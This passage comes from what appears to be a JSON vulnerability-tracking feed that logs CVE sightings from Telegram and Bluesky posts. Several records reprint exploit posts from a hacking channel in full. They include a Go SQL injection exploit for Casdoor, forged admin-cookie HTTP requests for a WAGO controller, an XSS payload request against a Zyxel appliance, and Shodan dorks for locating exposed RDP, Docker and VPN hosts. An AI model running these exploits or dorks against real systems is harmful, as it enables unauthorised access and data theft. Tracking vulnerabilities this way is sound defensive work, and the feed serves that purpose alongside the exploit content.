"seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2021-46422", "author": {"login": "automation"}}, {"uuid": "34b09771-6e6d-4f33-857f-407505342113", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.345161+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2022-40140", "author": {"login": "automation"}}, {"uuid": "7882556d-2465-4954-b7a6-41eb8a54a5fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.307549+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2026-37071", "author": {"login": "automation"}}, {"uuid": "af0ab171-c769-491d-96a8-dcc2f0724bbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.265080+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2019-9730", "author": {"login": "automation"}}, {"uuid": "2a4d01d2-912c-45c8-a452-f35285707f2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.228817+00:00", "type": "seen", "source": "Telegram/szyQ0EKV_UVNdmkffaO0C1PUabx9T7Nbdd_Nvq3q85HonyM", "content": "", "vulnerability": "CVE-2025-26794", "author": {"login": "automation"}}, {"uuid": "cfecace8-b119-4187-ad85-10d68cdfb7c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.178762+00:00", "type": "seen", "source": "Telegram/Paai8v2i2Qd7G7nDplu7cFbsNhfwUMGp9ainn2A0yNNLhsA", "content": "", "vulnerability": "CVE-2024-32002", "author": {"login": "automation"}}, {"uuid": "72acc993-4b1d-44b3-b44d-581bf3dc6d61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:05.108622+00:00", "type": "seen", "source": "Telegram/Paai8v2i2Qd7G7nDplu7cFbsNhfwUMGp9ainn2A0yNNLhsA", "content": "", "vulnerability": "CVE-2023-41535", "author": {"login": "automation"}}, {"uuid": "e5932278-f32e-4868-a13f-69683d3345b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:33:13.571600+00:00", "type": "seen", "source": "https://bsky.app/profile/mm-hacker-news.bsky.social/post/3muti3tbfei2x", "content": "Actively exploited sandbox RCE in all Chromium versions\nhttps://nvd.nist.gov/vuln/detail/cve-2026-85046", "vulnerability": "cve-2026-85046", "author": {"login": "automation"}}, {"uuid": "fab4db3d-b238-41a7-a297-e716a19423de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:10:07.143034+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mutgshxvkt2b", "content": "CVE-2026-57164 - asterisk\nThe PJSIP library\u2019s HTTP client may miscalculate the size of a server\u2019s response and write data beyond its allocated memory. This can cause the application to stop working\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#asterisk #debian #Debian14 #CVE #infosec", "vulnerability": "CVE-2026-57164", "author": {"login": "automation"}}, {"uuid": "85cceaa9-05e8-4bbe-bd9a-115b3d58bbda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:10:06.443844+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mutgsgkdef2j", "content": "CVE-2026-57163 - asterisk\nThe PJSIP library, when built with the GnuTLS security component, can write data past a fixed memory area while reading a certificate\u2019s Subject Alternative Name. An\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#asterisk #debian #Debian14 #CVE #infosec", "vulnerability": "CVE-2026-57163", "author": {"login": "automation"}}, {"uuid": "531dfcbd-5b32-4aed-aa6b-64d0ea266651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:07:56.140576+00:00", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mutgolfbcq2x", "content": "[Backport release-26.05] ntopng: apply patch for CVE-2026-86091 CVE-2026-86090\n\nhttps://github.com/NixOS/nixpkgs/pull/560432\n\n#security", "vulnerability": "CVE-2026-86090", "author": {"login": "automation"}}, {"uuid": "8a4538e7-5e08-40e5-badd-a57b16de687d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:07:56.092033+00:00", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mutgolfbcq2x", "content": "[Backport release-26.05] ntopng: apply patch for CVE-2026-86091 CVE-2026-86090\n\nhttps://github.com/NixOS/nixpkgs/pull/560432\n\n#security", "vulnerability": "CVE-2026-86091", "author": {"login": "automation"}}, {"uuid": "52da570c-9625-4213-b9a3-ff0ee57c38c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:06.108711+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44499", "content": "Exploit Collector\nCasdoor 1.13.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png \nCasdoor version 1.13.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 16e19334ce8fca7c8023e6e8c196fd9c\n\nDownload\n// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated) \n// Date: 2022-02-25\n// Exploit Author: Mayank Deshmukh\n// Vendor Homepage: https://casdoor.org/\n// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0\n// Version: version < 1.13.1\n// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r\n// Tested on: Kali Linux\n// CVE : CVE-2022-24124\n// Github POC: https://github.com/ColdFusionX/CVE-2022-24124\n\n// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080\n\npackage main\n\nimport (\n\"flag\"\n\"fmt\"\n\"html\"\n\"io/ioutil\"\n\"net/http\"\n\"os\"\n\"regexp\"\n\"strings\"\n)\n\nfunc main() {\nvar url string\nflag.StringVar(&url, \"u\", \"\", \"Casdoor URL (ex. http://127.0.0.1:8080)\")\nflag.Parse()\n\nbanner := `\n-=Casdoor SQL Injection (CVE-2022-24124)=- \n- by Mayank Deshmukh (ColdFusionX)\n\n`\nfmt.Printf(banner)\nfmt.Println(\"[*] Dumping Database Version\")\nresponse, err := http.Get(url + \"/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)\")\n\nif err != nil {\npanic(err)\n}\n\ndefer response.Body.Close()\n\ndatabytes, err := ioutil.ReadAll(response.Body)\n\nif err != nil {\npanic(err)\n}\n\ncontent := string(databytes)\n\nre := regexp.MustCompile(\"(?i)(XPATH syntax error.*')\")\n\nresult := re.FindAllString(content, -1)\n\nsqliop := fmt.Sprint(result)\nreplacer := strings.NewReplacer(\"[\", \"\", \"]\", \"\", \"'\", \"\", \";\", \"\")\n\nfinalop := replacer.Replace(sqliop)\nfmt.Println(html.UnescapeString(finalop))\nif result == nil {\nfmt.Printf(\"Application not vulnerable\\n\")\nos.Exit(1)\n}\n\n}\n\nSource:packetstormsecurity.com", "vulnerability": "GHSA-M358-G4RP-533R", "author": {"login": "automation"}}, {"uuid": "64fa0cbc-d1c5-41c6-949d-ac9cf28837ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:06.066007+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44499", "content": "Exploit Collector\nCasdoor 1.13.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png \nCasdoor version 1.13.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 16e19334ce8fca7c8023e6e8c196fd9c\n\nDownload\n// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated) \n// Date: 2022-02-25\n// Exploit Author: Mayank Deshmukh\n// Vendor Homepage: https://casdoor.org/\n// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0\n// Version: version < 1.13.1\n// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r\n// Tested on: Kali Linux\n// CVE : CVE-2022-24124\n// Github POC: https://github.com/ColdFusionX/CVE-2022-24124\n\n// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080\n\npackage main\n\nimport (\n\"flag\"\n\"fmt\"\n\"html\"\n\"io/ioutil\"\n\"net/http\"\n\"os\"\n\"regexp\"\n\"strings\"\n)\n\nfunc main() {\nvar url string\nflag.StringVar(&url, \"u\", \"\", \"Casdoor URL (ex. http://127.0.0.1:8080)\")\nflag.Parse()\n\nbanner := `\n-=Casdoor SQL Injection (CVE-2022-24124)=- \n- by Mayank Deshmukh (ColdFusionX)\n\n`\nfmt.Printf(banner)\nfmt.Println(\"[*] Dumping Database Version\")\nresponse, err := http.Get(url + \"/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)\")\n\nif err != nil {\npanic(err)\n}\n\ndefer response.Body.Close()\n\ndatabytes, err := ioutil.ReadAll(response.Body)\n\nif err != nil {\npanic(err)\n}\n\ncontent := string(databytes)\n\nre := regexp.MustCompile(\"(?i)(XPATH syntax error.*')\")\n\nresult := re.FindAllString(content, -1)\n\nsqliop := fmt.Sprint(result)\nreplacer := strings.NewReplacer(\"[\", \"\", \"]\", \"\", \"'\", \"\", \";\", \"\")\n\nfinalop := replacer.Replace(sqliop)\nfmt.Println(html.UnescapeString(finalop))\nif result == nil {\nfmt.Printf(\"Application not vulnerable\\n\")\nos.Exit(1)\n}\n\n}\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2022-24124", "author": {"login": "automation"}}, {"uuid": "7048847d-7974-44d9-8b65-a8b551d2de33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:06.053289+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mutgam5prh2n", "content": "CVE-2026-57162 - asterisk\nSoftware that uses the PJSIP communication library with secure voice/video features may be attacked when a caller includes an unusually large list of encryption settings.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#asterisk #debian #Debian14 #CVE #infosec", "vulnerability": "CVE-2026-57162", "author": {"login": "automation"}}, {"uuid": "bcb39e04-016a-44ca-8411-13d2e853d319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:06.027375+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44505", "content": "Exploit Collector\nWAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation\n\nhttps://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png \nWAGO 750-8212 PFC200 G2 2ETH RS suffers from a privilege escalation vulnerability.\n\nMD5 | 6466008b91f5fa677f2021a112398c39\n\nDownload\n# Exploit Title: WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation\n# Date: 02/16/2022\n# Exploit Author: Momen Eldawakhly (Cyber Guy) at Cypro AB\n# Vendor Homepage: https://www.wago.com\n# Version: Firmware version 03.05.10(17)\n# Tested on: PopOS! [Linux](Firefox)\n# CVE : CVE-2021-46388\n\n========================================\n= The ordinary user privilege request:\n========================================\n\nGET /wbm/ HTTP/1.1\nHost: 192.168.1.1\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nReferer: http://192.168.1.1/wbm/\nCookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22user%22%2C%22roles%22:[%22user%22%2C%22guest%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642368720673%2C%22sessionExists%22:true}\n\n==========================================\n= Manipulated Cookie to Admin Privilege:\n==========================================\n\nGET /wbm/ HTTP/1.1\nHost: 192.168.1.1\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nReferer: http://192.168.1.1/wbm/\nCookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22admin%22%2C%22roles%22:[%22admin%22%2C%22admin%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642369499829%2C%22sessionExists%22:true}\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-46388", "author": {"login": "automation"}}, {"uuid": "529b4538-ee63-4f01-aac3-436939afe857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.960222+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44782", "content": "Exploit Collector\nXerte 3.10.3 Directory Traversal\n\nhttps://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png \nXerte versions 3.10.3 and below suffer from a directory traversal vulnerability.\n\nMD5 | 26e7456440c05b36c8a1440493e0c60b\n\nDownload\n# Exploit Title: Xerte 3.10.3 - Directory Traversal (Authenticated)\n# Date: 05/03/2021\n# Exploit Author: Rik Lutz\n# Vendor Homepage: https://xerte.org.uk\n# Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.9.zip\n# Version: up until 3.10.3\n# Tested on: Windows 10 XAMP\n# CVE : CVE-2021-44665\n\n# This PoC assumes guest login is enabled. Vulnerable url:\n# https:// visit \"Properties\" (! symbol) -> Media and Quota -> Click file to download\n# The userfiles-direcotry will be noted in the URL and/or when you download a file.\n# They look like: ", "vulnerability": "CVE-2021-44665", "author": {"login": "automation"}}, {"uuid": "f9900d10-69de-4acb-a69a-2f3d29a7c0d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.919976+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44783", "content": "Exploit Collector\nZyxel ZyWALL 2 Plus Cross Site Scripting\n\nhttps://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png \nZyxel ZyWALL 2 Plus suffers from a cross site scripting vulnerability.\n\nMD5 | fd4b0dad3ba6f24a0a04bfd6719dc3ee\n\nDownload\n# Exploit Title: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS)\n# Date: 1/3/2022\n# Exploit Author: Momen Eldawakhly (CyberGuy)\n# Vendor Homepage: https://www.zyxel.com\n# Version: ZyWALL 2 Plus\n# Tested on: Ubuntu Linux [Firefox]\n# CVE : CVE-2021-46387\n\nGET /Forms/rpAuth_1?id=%3C/form%3E%3CiMg%20src=x%20onerror=%22prompt(1)%22%3E%3Cform%3E HTTP/1.1\nHost: vuln.ip:8080\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nDNT: 1\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-46387", "author": {"login": "automation"}}, {"uuid": "de393866-7614-4f88-8a5d-3a3861651257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.866062+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44140", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-5902", "author": {"login": "automation"}}, {"uuid": "59b2e571-7ae8-4323-8d45-956e0110f7a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.806976+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44140", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-11510", "author": {"login": "automation"}}, {"uuid": "d48721fa-64f8-45dc-91c1-f04938183798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.752183+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44140", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-19781", "author": {"login": "automation"}}, {"uuid": "ca12fb6c-c20f-466e-a7a5-5e83e25e23a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.700922+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44140", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\nsee 